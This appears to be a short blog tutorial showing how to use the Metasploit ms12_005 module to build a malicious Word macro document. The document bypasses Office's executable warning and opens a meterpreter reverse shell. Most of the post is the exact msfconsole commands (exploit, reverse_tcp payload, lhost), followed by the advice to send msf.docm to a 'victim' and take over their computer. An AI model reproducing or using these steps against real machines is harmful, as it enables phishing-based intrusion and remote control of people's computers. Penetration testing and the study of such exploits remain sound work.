This module exploits a vulnerability found in Microsoft Office’s Click Once feature. When handling a Macro document, the application fails to recognize certain file extensions as dangerous executables, which can be used to bypass the warning message. This allows you to trick your victim into opening the malicious document, which will load up either a python or ruby payload based on your choosing, and then finally download and execute our executable.

Exploit Targets

Microsoft Office Word 2007/2010

Windows XP SP 2

Windows 7

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/ms12_005

Msf exploit (ms12_005)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms12_005)>set lhost 192.168.1.4 (IP of Local Host)

Msf exploit (ms12_005)>exploit

After we successfully generate the malicious Document File, it will stored on your local computer

/root/.msf4/local/msf.docm

Now send your msf.docm files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

Raj Chandel

Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry.His interests are mainly in system exploitation and vulnerability research. Contact me: [email protected]

More Posts

Follow Me:
TwitterFacebookGoogle Plus